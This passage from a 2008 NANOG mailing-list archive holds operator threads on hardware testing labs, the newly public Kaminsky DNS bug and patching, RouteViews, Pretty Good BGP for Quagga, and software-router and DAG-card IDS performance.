Spirent's load testing tools are pretty cut and dried...very straightforward to interpret but depending on your application maybe relatively meaningless. For application performance, there are many tools you could consider, many of which are very specialized and thus don't have broad applicability. I'd recommend talking to any of the labs above and see what kind of testing they would use in a given situation before you run out and buy some test equipment. Good luck! On Mon, Jul 21, 2008 at 10:09 AM, Tomas L. Byrnes wrote: > For independent testing, Kevin Tolly's been at it a long time, and has > shown himself to be fair. > > http://www.tolly.com/ > > > > > -----Original Message----- > > From: Sean Hafeez [mailto:sah.list at gmail.com] > > Sent: Friday, July 18, 2008 2:07 PM > > To: Frank P. Troy > > Cc: rpapneja at isocore.com; nanog at merit.edu > > Subject: Re: Independent Testing for Network Hardware > > > > IXIA makes a nice product depending on what you want to do. I > > have one here with some 10G line cards. > > > > -Sean > > > > On Jul 10, 2008, at 3:02 PM, Frank P. Troy wrote: > > > > > I can recommend Isocore http://www.isocore.com/ (the same > > folks that > > > run the MPLS conference). Talk to Rajiv Papneja > > > [rpapneja at isocore.com]. > > > > > > Regards, > > > Frank > > > > > > ------------------------------------ > > > Frank P. Troy > > > 703-396-8700 > > > frank at troy-networks.com > > > ------------------------------------- > > > > > > > > > -----Original Message----- > > > From: Brian Knoll (TT) [mailto:Brian.Knoll at tradingtechnologies.com] > > > Sent: Thursday, July 10, 2008 11:16 AM > > > To: nanog at merit.edu > > > Subject: Independent Testing for Network Hardware > > > > > > Can anyone recommend a reliable independent testing company > > that tests > > > network hardware performance? > > > > > > > > > > > > We are considering buying testing hardware (right now we > > are looking > > > at Spirent TestCenter) and I wanted to see if there were other > > > options... > > > > > > > > > > > > Brian Knoll > > > > > > > > > > > > > > > > > > > > > > > > > > > > > From tomb at byrneit.net Tue Jul 22 01:29:23 2008 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Mon, 21 Jul 2008 23:29:23 -0700 Subject: Independent Testing for Network Hardware In-Reply-To: References: <003701c8e2d8$ae243180$0a6c9480$@com> <70D072392E56884193E3D2DE09C097A9F373@pascal.zaphodb.org> Message-ID: <70D072392E56884193E3D2DE09C097A9F388@pascal.zaphodb.org> I do highly recommend Core Competence, especially for security gear. Dave Piscitello is the real deal. ________________________________ From: Thomas Maufer [mailto:tmaufer at gmail.com] Sent: Monday, July 21, 2008 11:13 PM To: Sean Hafeez Cc: Frank P. Troy; nanog at merit.edu; rpapneja at isocore.com; Tomas L. Byrnes Subject: Re: Independent Testing for Network Hardware Isocore is good, but there are many others to choose from: Network Test, ExtremeLabs, Miercom, Core Competence, Opus One, in no particular order. I can personally recommend all of those (I have no experience with Tolly so I can't recommend them). If you are really interested in application performance, a lab is probably a better choice than a hardware purchase since they can help you interpret the results, especially if you'll be like most test equipment users (having test equipment used more than 10% of the time is rare). The results you'll get from Ixia's and Spirent's load testing tools are pretty cut and dried...very straightforward to interpret but depending on your application maybe relatively meaningless. For application performance, there are many tools you could consider, many of which are very specialized and thus don't have broad applicability. I'd recommend talking to any of the labs above and see what kind of testing they would use in a given situation before you run out and buy some test equipment. Good luck! On Mon, Jul 21, 2008 at 10:09 AM, Tomas L. Byrnes wrote: For independent testing, Kevin Tolly's been at it a long time, and has shown himself to be fair. http://www.tolly.com/ > -----Original Message----- > From: Sean Hafeez [mailto:sah.list at gmail.com] > Sent: Friday, July 18, 2008 2:07 PM > To: Frank P. Troy > Cc: rpapneja at isocore.com; nanog at merit.edu > Subject: Re: Independent Testing for Network Hardware > > IXIA makes a nice product depending on what you want to do. I > have one here with some 10G line cards. > > -Sean > > On Jul 10, 2008, at 3:02 PM, Frank P. Troy wrote: > > > I can recommend Isocore http://www.isocore.com/ (the same > folks that > > run the MPLS conference). Talk to Rajiv Papneja > > [rpapneja at isocore.com]. > > > > Regards, > > Frank > > > > ------------------------------------ > > Frank P. Troy > > 703-396-8700 > > frank at troy-networks.com > > ------------------------------------- > > > > > > -----Original Message----- > > From: Brian Knoll (TT) [mailto:Brian.Knoll at tradingtechnologies.com] > > Sent: Thursday, July 10, 2008 11:16 AM > > To: nanog at merit.edu > > Subject: Independent Testing for Network Hardware > > > > Can anyone recommend a reliable independent testing company > that tests > > network hardware performance? > > > > > > > > We are considering buying testing hardware (right now we > are looking > > at Spirent TestCenter) and I wanted to see if there were other > > options... > > > > > > > > Brian Knoll > > > > > > > > > > > > > > > > > From Jon.Kibler at aset.com Tue Jul 22 07:40:32 2008 From: Jon.Kibler at aset.com (Jon Kibler) Date: Tue, 22 Jul 2008 08:40:32 -0400 Subject: SANS: DNS Bug Now Public? Message-ID: <4885D540.7060304@aset.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 SANS is reporting that Kaminsky's DNS bug may be now being exploited in the wild. See: http://isc.sans.org/diary.html?n&storyid=4765 Jon Kibler - -- Jon R. Kibler Chief Technical Officer Advanced Systems Engineering Technology, Inc. Charleston, SC USA o: 843-849-8214 c: 843-224-2494 s: 843-564-4224 My PGP Fingerprint is: BAA2 1F2C 5543 5D25 4636 A392 515C 5045 CF39 4253 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.8 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkiF1T8ACgkQUVxQRc85QlMN1ACfTR8oJRy2V27+c5PjERcUjgIU evAAn1sDR9xMc1bEmTeygXl7QkF9er2T =eqbc -----END PGP SIGNATURE----- ================================================== Filtered by: TRUSTEM.COM's Email Filtering Service http://www.trustem.com/ No Spam. No Viruses. Just Good Clean Email. From christian at broknrobot.com Tue Jul 22 07:46:43 2008 From: christian at broknrobot.com (Christian Koch) Date: Tue, 22 Jul 2008 08:46:43 -0400 Subject: SANS: DNS Bug Now Public? In-Reply-To: <4885D540.7060304@aset.com> References: <4885D540.7060304@aset.com> Message-ID: matasano blogged about it cache of the original post here.. http://beezari.livejournal.com/ matasano apologizes here http://www.matasano.com/log/1105/regarding-the-post-on-chargen-earlier-today/ dan posts (13 - 0) 13 days left to blackhat opposed to the 0 days since the details were discussed http://www.doxpara.com/?p=1176 halvar flake speculation http://addxorrol.blogspot.com/2008/07/on-dans-request-for-no-speculation.html post on daily dave http://seclists.org/dailydave/2008/q3/0070.html On Tue, Jul 22, 2008 at 8:40 AM, Jon Kibler wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > SANS is reporting that Kaminsky's DNS bug may be now being exploited in > the wild. See: > http://isc.sans.org/diary.html?n&storyid=4765 > > Jon Kibler > - -- > Jon R. Kibler > Chief Technical Officer > Advanced Systems Engineering Technology, Inc. > Charleston, SC USA > o: 843-849-8214 > c: 843-224-2494 > s: 843-564-4224 > > My PGP Fingerprint is: > BAA2 1F2C 5543 5D25 4636 A392 515C 5045 CF39 4253 > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.8 (Darwin) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org > > iEYEARECAAYFAkiF1T8ACgkQUVxQRc85QlMN1ACfTR8oJRy2V27+c5PjERcUjgIU > evAAn1sDR9xMc1bEmTeygXl7QkF9er2T > =eqbc > -----END PGP SIGNATURE----- > > > > > ================================================== > Filtered by: TRUSTEM.COM's Email Filtering Service > http://www.trustem.com/ > No Spam. No Viruses. Just Good Clean Email. > > From jmamodio at gmail.com Tue Jul 22 08:00:51 2008 From: jmamodio at gmail.com (Jorge Amodio) Date: Tue, 22 Jul 2008 08:00:51 -0500 Subject: SANS: DNS Bug Now Public? In-Reply-To: <4885D540.7060304@aset.com> References: <4885D540.7060304@aset.com> Message-ID: <202705b0807220600o15a13239n7c6d0be77d3a95b9@mail.gmail.com> It has been public for a while now. Even on the print media, there are some articles about it on the latest Computerworld mag without giving too much detail about how to exploit it. ie PATCH NOW !!! Cheers Jorge From jlewis at packetnexus.com Tue Jul 22 08:46:10 2008 From: jlewis at packetnexus.com (Jason Lewis) Date: Tue, 22 Jul 2008 09:46:10 -0400 Subject: OIX Routeviews Message-ID: <4885E4A2.3050703@packetnexus.com> Excuse the OT post, I can't seem to send mail to routeviews.org and this is a last resort. A while ago, David Meyer asked if anyone was still using the "sho ip bgp" format rib on routeviews.org. For a few months the rib dump process has been broken. Are the "sho ip bgp" ribs gone for good? jas From dmm at 1-4-5.net Tue Jul 22 09:28:07 2008 From: dmm at 1-4-5.net (David Meyer) Date: Tue, 22 Jul 2008 07:28:07 -0700 Subject: OIX Routeviews In-Reply-To: <4885E4A2.3050703@packetnexus.com> References: <4885E4A2.3050703@packetnexus.com> Message-ID: <20080722142807.GA20377@1-4-5.net> Jason, > Excuse the OT post, I can't seem to send mail to routeviews.org and this > is a last resort. Did you try help at routeviews.org? In any event... > A while ago, David Meyer asked if anyone was still using the "sho ip > bgp" format rib on routeviews.org. For a few months the rib dump > process has been broken. Are the "sho ip bgp" ribs gone for good? No, the 'show ip bgp' RIBs aren't gone. We're just not screen scraping them from route-views.routeview.org any longer, Rather, John Heasly wrote some code that generates 'sh ip bgp' format from the MRT RIB dumps. These can be found on archive.routeviews.org. Let us know if you can't find what you need. Thanks, Dave -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Digital signature URL: From karlinjf at cs.unm.edu Tue Jul 22 14:45:26 2008 From: karlinjf at cs.unm.edu (Josh Karlin) Date: Tue, 22 Jul 2008 13:45:26 -0600 Subject: Pretty Good BGP on Quagga Message-ID: <71051fe20807221245g5b2e198amc4a0ea635c781fa@mail.gmail.com> All, We just wanted to let you know that Pretty Good BGP (PGBGP) is now available for Quagga. The Internet Alert Registry (IAR) has been running it stably for a few months now and we wanted to open it up to early adopters. Overview: PGBGP is a distributed security mechanism for BGP that attempts to avoid prefix hijacks, sub-prefix hijacks, and spoofed paths. Each router individually computes its own idea of the origin ASes for each prefix based on the past few days of routing announcements. Routes for prefixes with new origin ASes are labeled as anomalous and are depreferenced for 24 hours, using the more trusted (stable) routes where possible. New links are also considered anomalous, as well as new sub-prefixes. New sub-prefixes are dealt with by choosing paths to the trusted less specific when possible for 24 hours. Opt-in emails are sent to operators to inform them of anomalies, to help them identify and fix the problem (if any) within the 24 hours. Hardware overhead: Running PGBGP requires roughly ~20MB of extra RAM. Adding additional BGP sessions does not significantly affect PGBGP memory usage. CPU requirements are minimal. Routing performance: Sometimes, PGBGP will select an inferior path in order to avoid an anomalous route. Our studies have shown that typically, anomalous routes are short lived (e.g. due to convergence churn). On the IAR, of the available 1,546,996 routes in the RIB, 5,111 of them are anomalous at the time of writing this email. There are corner cases in which PGBGP could cause loss of reachability, and they are discussed in the papers. Documentation, papers, links to NANOG presentations, and the patch itself are available at the project's webpage: http://cs.unm.edu/~karlinjf/pgbgp/ If you're interested in PGBGP or would like to help further BGP security research, please give it a try and let us know that you're running it. We'd be happy to entertain suggestions, discuss the protocol, and provide support. Thanks for your time, Josh From smb at cs.columbia.edu Wed Jul 23 02:31:55 2008 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Wed, 23 Jul 2008 03:31:55 -0400 Subject: SANS: DNS Bug Now Public? In-Reply-To: <202705b0807220600o15a13239n7c6d0be77d3a95b9@mail.gmail.com> References: <4885D540.7060304@aset.com> <202705b0807220600o15a13239n7c6d0be77d3a95b9@mail.gmail.com> Message-ID: <20080723033155.20717d40@cs.columbia.edu> On Tue, 22 Jul 2008 08:00:51 -0500 "Jorge Amodio" wrote: > It has been public for a while now. Even on the print media, there > are some articles about it on the latest Computerworld mag without > giving too much detail about how to exploit it. > > ie PATCH NOW !!! > Kaminsky's blog says "Patch. Today. Now. Yes, stay late." --Steve Bellovin, http://www.cs.columbia.edu/~smb From zzuser at yahoo.com Wed Jul 23 04:52:56 2008 From: zzuser at yahoo.com (Zed Usser) Date: Wed, 23 Jul 2008 02:52:56 -0700 (PDT) Subject: Software router state of the art Message-ID: <521991.67953.qm@web65512.mail.ac4.yahoo.com> Hi all! There's been some discussion on the list regarding software routers lately and this piqued my interest. Does anybody have any recent performance and capability statistics (eg. forwarding rates with full BGP tables and N ethernet interfaces) or any pointer to what the current state of art in software routers is? - Zed From Valdis.Kletnieks at vt.edu Wed Jul 23 10:24:19 2008 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Wed, 23 Jul 2008 11:24:19 -0400 Subject: Software router state of the art In-Reply-To: Your message of "Wed, 23 Jul 2008 02:52:56 PDT." <521991.67953.qm@web65512.mail.ac4.yahoo.com> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> Message-ID: <13218.1216826659@turing-police.cc.vt.edu> On Wed, 23 Jul 2008 02:52:56 PDT, Zed Usser said: > There's been some discussion on the list regarding software routers The performance of "software routers" has always had a hardware component. Basically, for the vast majority of them, take your PCI bus bandwidth, count how many times a packet has to cross it, and do the math. You can't forward more than that much traffic no matter *what* software you run on that box. If that number falls short, stop right there and look for some box of different design that has the required backplane bandwidth. You will, of course, take additional performance hits due to locking issues and similar in your software stack (that, and most "software" routers will suffer from not having special hardware assist for routing table lookups). Let us know if you find a suitable chassis/motherboard that has enough bandwidth to make it worth thinking about for anything other than the smaller edge routers that most providers have zillions of... :) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available URL: From charles at thewybles.com Wed Jul 23 10:36:31 2008 From: charles at thewybles.com (Charles Wyble) Date: Wed, 23 Jul 2008 08:36:31 -0700 Subject: Software router state of the art In-Reply-To: <13218.1216826659@turing-police.cc.vt.edu> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> Message-ID: <48874FFF.4020205@thewybles.com> Valdis.Kletnieks at vt.edu wrote: > On Wed, 23 Jul 2008 02:52:56 PDT, Zed Usser said: > >> There's been some discussion on the list regarding software routers >> > > The performance of "software routers" has always had a hardware component. > > Basically, for the vast majority of them, take your PCI bus bandwidth, > count how many times a packet has to cross it, and do the math. You can't > forward more than that much traffic no matter *what* software you run on > that box. If that number falls short, stop right there and look for > some box of different design that has the required backplane bandwidth. > This might be of interest: http://nrg.cs.ucl.ac.uk/mjh/tmp/vrouter-perf.pdf -- Charles Wyble (818) 280 - 7059 http://charlesnw.blogspot.com CTO Known Element Enterprises / SoCal WiFI project From herrin-nanog at dirtside.com Wed Jul 23 11:07:23 2008 From: herrin-nanog at dirtside.com (William Herrin) Date: Wed, 23 Jul 2008 12:07:23 -0400 Subject: Software router state of the art In-Reply-To: <13218.1216826659@turing-police.cc.vt.edu> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> Message-ID: <3c3e3fca0807230907h13bae9e1h55333c57bcdb1b09@mail.gmail.com> On Wed, Jul 23, 2008 at 11:24 AM, wrote: > On Wed, 23 Jul 2008 02:52:56 PDT, Zed Usser said: >> There's been some discussion on the list regarding software routers > > The performance of "software routers" has always had a hardware component. > > Basically, for the vast majority of them, take your PCI bus bandwidth, > count how many times a packet has to cross it, and do the math. You can't > forward more than that much traffic no matter *what* software you run on > that box. If that number falls short, stop right there and look for > some box of different design that has the required backplane bandwidth. The Endace DAG cards claim they can move 7 gbps over a PCI-X bus from the NIC to main DRAM. They claim a full 10gbps on a PCIE bus. Regards, Bill Herrin -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From jmamodio at gmail.com Wed Jul 23 11:16:26 2008 From: jmamodio at gmail.com (Jorge Amodio) Date: Wed, 23 Jul 2008 11:16:26 -0500 Subject: SANS: DNS Bug Now Public? In-Reply-To: <20080723033155.20717d40@cs.columbia.edu> References: <4885D540.7060304@aset.com> <202705b0807220600o15a13239n7c6d0be77d3a95b9@mail.gmail.com> <20080723033155.20717d40@cs.columbia.edu> Message-ID: <202705b0807230916i67de3740x3fa471dc289f1832@mail.gmail.com> Let me add that folks need to understand that the "patch" is not a fix to a problem that has been there for long time and it is just a workaround to reduce the chances for a potential attack, and it must be combined with best practices and recommendations to implent a more robust DNS setup. There are plenty of documents out there (check cert.org for example) that can provide some guidance. Perhaps this situation will help move things on the DNSSEC front, as far as I remember there are some IETF drafts on the standards track addressing these issues. Cheers Jorge On Wed, Jul 23, 2008 at 2:31 AM, Steven M. Bellovin wrote: > On Tue, 22 Jul 2008 08:00:51 -0500 > "Jorge Amodio" wrote: > > > It has been public for a while now. Even on the print media, there > > are some articles about it on the latest Computerworld mag without > > giving too much detail about how to exploit it. > > > > ie PATCH NOW !!! > > > Kaminsky's blog says "Patch. Today. Now. Yes, stay late." > > > --Steve Bellovin, http://www.cs.columbia.edu/~smb > From adrian at creative.net.au Wed Jul 23 11:17:40 2008 From: adrian at creative.net.au (Adrian Chadd) Date: Thu, 24 Jul 2008 00:17:40 +0800 Subject: Software router state of the art In-Reply-To: <48874FFF.4020205@thewybles.com> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> Message-ID: <20080723161740.GK11922@skywalker.creative.net.au> On Wed, Jul 23, 2008, Charles Wyble wrote: > This might be of interest: > > http://nrg.cs.ucl.ac.uk/mjh/tmp/vrouter-perf.pdf Various FreeBSD related guys are working on parallelising the forwarding layer enough to use the multiple tx/rx queues in some chipsets such as the Intel gig/10ge stuff. 1 mil pps has been broken that way, but it uses lots of cores to get there. (8, I think?) Linux apparently is/has headed down this path. If someone were to spend some time dissecting the rest of the code to also optimise the single-core throughput then you may see some interesting software routers using commodity hardware (for values of "commodity" roughly equal to "PC servers", rather than "magic lotsacore core MIPS with some extra glue for jacking packets around." Sure its not a CRS-1, but reliably doing a mil pps with a smattering of low-touch features would be rather useful, no? (Then, add say, l2tp/ppp into that mix, just as a crazy on-topic example..) Adrian From cmarlatt at rxsec.com Wed Jul 23 11:25:52 2008 From: cmarlatt at rxsec.com (Chris Marlatt) Date: Wed, 23 Jul 2008 12:25:52 -0400 Subject: Software router state of the art In-Reply-To: <20080723161740.GK11922@skywalker.creative.net.au> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> <20080723161740.GK11922@skywalker.creative.net.au> Message-ID: <48875B90.8090407@rxsec.com> Adrian Chadd wrote: > > 1 mil pps has been broken that way, but it uses lots of cores to get there. > (8, I think?) > http://unix.derkeiler.com/Mailing-Lists/FreeBSD/net/2008-06/msg00364.html has all the details. It's rather long thread but 1mpps was achieved on a single cpu IIRC (the server had multiple cpus but only one being used for forwarding). Firewall rules slowed it down quite a bit but theres also some work out there being done to minimize this. Regards, Chris From adrian at creative.net.au Wed Jul 23 11:32:55 2008 From: adrian at creative.net.au (Adrian Chadd) Date: Thu, 24 Jul 2008 00:32:55 +0800 Subject: Software router state of the art In-Reply-To: <48875B90.8090407@rxsec.com> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> <20080723161740.GK11922@skywalker.creative.net.au> <48875B90.8090407@rxsec.com> Message-ID: <20080723163255.GL11922@skywalker.creative.net.au> On Wed, Jul 23, 2008, Chris Marlatt wrote: > http://unix.derkeiler.com/Mailing-Lists/FreeBSD/net/2008-06/msg00364.html > has all the details. It's rather long thread but 1mpps was achieved on a > single cpu IIRC (the server had multiple cpus but only one being used > for forwarding). Firewall rules slowed it down quite a bit but theres > also some work out there being done to minimize this. Yah, all of that is happening. Some people keep asking why FreeBSD-4 forwarding was always much faster than same-hardware forwarding under current FreeBSD but at least thats finally being worked on. Of course, with my FreeBSD advocacy hat on, if you -want- to see something like FreeBSD handle 1mil+ pps forwarding then you should really drop the FreeBSD Foundation a line and introduce yourself. There are developers working on this (note: not me! :) who would benefit from equipment and funding. Anyway. Some PC class hardware is pretty damned fast. Some vendors even build highish-throughput firewalls and proxies out of PC class hardware. :) The "wah wah PC class hardware has anemic bus IO/memory IO/ CPU speed/ethernet modules and is thus too crap for serious routing" argument is pretty much over for at least 1 mil pps, perhaps more. 2c, Adrian From joelja at bogus.com Wed Jul 23 11:50:37 2008 From: joelja at bogus.com (Joel Jaeggli) Date: Wed, 23 Jul 2008 09:50:37 -0700 Subject: Software router state of the art In-Reply-To: <13218.1216826659@turing-police.cc.vt.edu> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> Message-ID: <4887615D.2080304@bogus.com> Valdis.Kletnieks at vt.edu wrote: > On Wed, 23 Jul 2008 02:52:56 PDT, Zed Usser said: >> There's been some discussion on the list regarding software routers > > The performance of "software routers" has always had a hardware component. > > Basically, for the vast majority of them, take your PCI bus bandwidth, > count how many times a packet has to cross it, and do the math. You can't > forward more than that much traffic no matter *what* software you run on > that box. If that number falls short, stop right there and look for > some box of different design that has the required backplane bandwidth. > > You will, of course, take additional performance hits due to locking issues > and similar in your software stack (that, and most "software" routers will > suffer from not having special hardware assist for routing table lookups). The current state of the art is around 2 million pps for fast intel arch system. > Let us know if you find a suitable chassis/motherboard that has enough > bandwidth to make it worth thinking about for anything other than the > smaller edge routers that most providers have zillions of... :) > From nanog at data102.com Wed Jul 23 12:46:11 2008 From: nanog at data102.com (randal k) Date: Wed, 23 Jul 2008 11:46:11 -0600 Subject: Software router state of the art In-Reply-To: <20080723161740.GK11922@skywalker.creative.net.au> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> <20080723161740.GK11922@skywalker.creative.net.au> Message-ID: That is a very interesting paper. Seriously, 7mpps with an off-the-shelf Dell 2950? Even if it were -half- that throughput, for a pure ethernet forwarding solution that is incredible. Shoot, buy a handful of them as hot spares and still save a bundle. Highly recommended reading, even if (like me) you're anti-commodity routing. Cheers, Randal On Wed, Jul 23, 2008 at 10:17 AM, Adrian Chadd wrote: > On Wed, Jul 23, 2008, Charles Wyble wrote: > >> This might be of interest: >> >> http://nrg.cs.ucl.ac.uk/mjh/tmp/vrouter-perf.pdf > > Various FreeBSD related guys are working on parallelising the forwarding > layer enough to use the multiple tx/rx queues in some chipsets such as the > Intel gig/10ge stuff. > > 1 mil pps has been broken that way, but it uses lots of cores to get there. > (8, I think?) > > Linux apparently is/has headed down this path. From lists at memetic.org Wed Jul 23 13:00:13 2008 From: lists at memetic.org (Adam Armstrong) Date: Wed, 23 Jul 2008 19:00:13 +0100 Subject: Software router state of the art In-Reply-To: <20080723161740.GK11922@skywalker.creative.net.au> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> <20080723161740.GK11922@skywalker.creative.net.au> Message-ID: <488771AD.7040200@memetic.org> Adrian Chadd wrote: > On Wed, Jul 23, 2008, Charles Wyble wrote: > > > Sure its not a CRS-1, but reliably doing a mil pps with a smattering of > low-touch features would be rather useful, no? > > (Then, add say, l2tp/ppp into that mix, just as a crazy on-topic example..) > Sounds like a Juniper J-series. Have a look at the forwarding figures for the J6350. It does something around 2mpps and it's just an intel CPU with some PCI/PCI-X interfaces. The device just below it, the J4350 uses a 2.53Ghz celeron. I'm not sure what the J6350 uses. adam. From naveen at calpop.com Wed Jul 23 13:05:50 2008 From: naveen at calpop.com (Naveen Nathan) Date: Wed, 23 Jul 2008 18:05:50 +0000 Subject: Software router state of the art In-Reply-To: <3c3e3fca0807230907h13bae9e1h55333c57bcdb1b09@mail.gmail.com> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <3c3e3fca0807230907h13bae9e1h55333c57bcdb1b09@mail.gmail.com> Message-ID: <20080723180550.GC1967@armakuni.lastninja.net> > The Endace DAG cards claim they can move 7 gbps over a PCI-X bus from > the NIC to main DRAM. They claim a full 10gbps on a PCIE bus. I wonder, has anyone heard of this used for IDS? I've been looking at building a commodity SNORT solution, and wondering if a powerful network card will help, or would the bottleneck be in processing the packets and overhead from the OS? - naveen From cmadams at hiwaay.net Wed Jul 23 13:16:32 2008 From: cmadams at hiwaay.net (Chris Adams) Date: Wed, 23 Jul 2008 13:16:32 -0500 Subject: Software router state of the art In-Reply-To: <488771AD.7040200@memetic.org> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> <20080723161740.GK11922@skywalker.creative.net.au> <488771AD.7040200@memetic.org> Message-ID: <20080723181632.GA1116478@hiwaay.net> Once upon a time, Adam Armstrong said: > Sounds like a Juniper J-series. Have a look at the forwarding figures > for the J6350. It does something around 2mpps and it's just an intel CPU > with some PCI/PCI-X interfaces. The device just below it, the J4350 uses > a 2.53Ghz celeron. I'm not sure what the J6350 uses. IIRC the new slots (the EPIMs) are PCI-E. The J6350 CPU is a P4 3.4GHz. It is my understanding that the J-series use a real-time layer under the FreeBSD kernel and have a real-time thread for forwarding (as opposed to the M-series with a hardware forwarding engine). -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From herrin-nanog at dirtside.com Wed Jul 23 13:17:53 2008 From: herrin-nanog at dirtside.com (William Herrin) Date: Wed, 23 Jul 2008 14:17:53 -0400 Subject: Software router state of the art In-Reply-To: <20080723180341.GB1967@armakuni.lastninja.net> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <3c3e3fca0807230907h13bae9e1h55333c57bcdb1b09@mail.gmail.com> <20080723180341.GB1967@armakuni.lastninja.net> Message-ID: <3c3e3fca0807231117u27d01471pf5b88edca4ae729f@mail.gmail.com> On Wed, Jul 23, 2008 at 2:03 PM, Naveen Nathan wrote: >> The Endace DAG cards claim they can move 7 gbps over a PCI-X bus from >> the NIC to main DRAM. They claim a full 10gbps on a PCIE bus. > > I wonder, has anyone heard of this used for IDS? I've been looking at > building a commodity SNORT solution, and wondering if a powerful network > card will help, or would the bottleneck be in processing the packets and > overhead from the OS? The first bottleneck is the interrupts from the NIC. With a generic Intel NIC under Linux, you start to lose a non-trivial number of packets around 700mbps of "normal" traffic because it can't service the interrupts quickly enough. The DAG card can be dropped in to replace the interface used for a libpcap-based application. When I tested the 1gbps PCIE version, I lost no packets to 1gbps and my capture application's CPU usage dropped to about 1/5th of what it was with the generic NIC. YMMV. Regards, Bill Herrin -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From jabley at ca.afilias.info Wed Jul 23 12:11:18 2008 From: jabley at ca.afilias.info (Joe Abley) Date: Wed, 23 Jul 2008 13:11:18 -0400 Subject: SANS: DNS Bug Now Public? In-Reply-To: <202705b0807230916i67de3740x3fa471dc289f1832@mail.gmail.com> References: <4885D540.7060304@aset.com> <202705b0807220600o15a13239n7c6d0be77d3a95b9@mail.gmail.com> <20080723033155.20717d40@cs.columbia.edu> <202705b0807230916i67de3740x3fa471dc289f1832@mail.gmail.com> Message-ID: <2A44845F-4D1F-47A8-B6F7-09B50C65C8B4@ca.afilias.info> On 23 Jul 2008, at 12:16, Jorge Amodio wrote: > Let me add that folks need to understand that the "patch" is not a > fix to a > problem that has been there for long time and > it is just a workaround to reduce the chances for a potential > attack, and it must be combined with best practices and > recommendations to implent a more robust DNS setup. Having just seen some enterprise types spend time patching their nameservers, it's also perhaps worth spelling out that "patch" in this case might require more than upgrading resolver code -- it could also involve reconfigurations, upgrades or replacements of NAT boxes too. If your NAT reassigns source ports in a predictable fashion, then no amount of BIND9 patching is going to help. (Reconfiguring your internal resolvers to forward queries to an external, patched resolver which can see the world other than through NAT-coloured glasses may also be a way out.) Joe From morrowc.lists at gmail.com Wed Jul 23 13:21:58 2008 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 23 Jul 2008 11:21:58 -0700 Subject: Software router state of the art In-Reply-To: <20080723180550.GC1967@armakuni.lastninja.net> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <3c3e3fca0807230907h13bae9e1h55333c57bcdb1b09@mail.gmail.com> <20080723180550.GC1967@armakuni.lastninja.net> Message-ID: <75cb24520807231121j709ad4fahb9ccd38676bec358@mail.gmail.com> On Wed, Jul 23, 2008 at 11:05 AM, Naveen Nathan wrote: >> The Endace DAG cards claim they can move 7 gbps over a PCI-X bus from >> the NIC to main DRAM. They claim a full 10gbps on a PCIE bus. > > I wonder, has anyone heard of this used for IDS? I've been looking at > building a commodity SNORT solution, and wondering if a powerful network > card will help, or would the bottleneck be in processing the packets and > overhead from the OS? http://www.endace.com/our-products/ninja-appliances/NinjaProbe-NIDS snort at 1g & 10g -chris From wcyoung at buffalo.edu Wed Jul 23 14:05:30 2008 From: wcyoung at buffalo.edu (Wes Young) Date: Wed, 23 Jul 2008 15:05:30 -0400 Subject: Software router state of the art In-Reply-To: <75cb24520807231121j709ad4fahb9ccd38676bec358@mail.gmail.com> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <3c3e3fca0807230907h13bae9e1h55333c57bcdb1b09@mail.gmail.com> <20080723180550.GC1967@armakuni.lastninja.net> <75cb24520807231121j709ad4fahb9ccd38676bec358@mail.gmail.com> Message-ID: <83BCB7DD-E4A2-4DA6-BA2C-645BEFC5F7E2@buffalo.edu> We use them here and there (the 1Gig versions). The biggest thing to think about is the types of rule-sets you'll be using compounded by the number of flows being created / expired. Once tuned, they work quite well, but the balance is how fast you can pull/analyze out of RAM. Compiling the rules down to the card's level speeds things up a bit, but at the loss of using more dynamic rulesets. If you can get the raw data to some sort of larger medium (say, rotating pcaps on a disk), you length the buffer-window. FWIW however, probably the best way to scale this is get an Xport fiber regen tap, populate with a few of these, tune them to monitor different segments based on address space or port ranges. You'll have yourself a relatively cheap solution, but extremely 